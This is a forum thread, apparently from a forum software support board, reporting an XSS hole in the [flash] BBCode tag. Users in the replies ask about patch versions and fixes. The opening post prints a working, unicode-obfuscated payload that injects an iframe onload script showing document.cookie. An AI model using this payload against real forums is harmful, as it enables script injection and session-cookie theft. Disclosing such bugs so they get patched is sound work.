[flash][/flash]引发的XSS攻击漏洞

http://wooyun.org\\u0022\\u003e\\u003c\\u0069\\u0066\\u0072\\u0061\\u006d\\u0065\\u002f\\u006f\\u006e\\u006c\\u006f\\u0061\\u0064\\u003d\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0064\\u006f\\u0063\\u0075\\u006d\\u0065\\u006e\\u0074\\u002e\\u0063\\u006f\\u006f\\u006b\\u0069\\u0065\\u0029\\u003e/1.swf在允许发送flash的版区、日志内  发送此flash 代码。在chrome下会跳转至其他地址。非chrome也会执行相应的unicode中的代码

2.5是最新的补丁包吗？

在线更新 只剩下让更新至3.0了。

下砂 发表于 2013-10-28 16:49
2.5是最新的补丁包吗？

在线更新只剩3.1

安全补丁也没内容

你们都没遇到这bug么？虽然自己改代码能解决。。。

3123wqe 发表于 2013-10-30 10:47
你们都没遇到这bug么？虽然自己改代码能解决。。。

遇到同样问题，请问楼上这个bug怎么修改？